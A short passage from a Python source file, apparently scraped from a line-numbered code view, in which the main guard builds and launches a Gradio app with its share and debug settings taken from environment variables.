304 |
+
|
305 |
if __name__ == "__main__":
|
306 |
app = build_ui()
|
|
|
307 |
app.launch(share=os.getenv("GRADIO_SHARE") == "true", debug=os.getenv("GRADIO_DEBUG") == "true")
|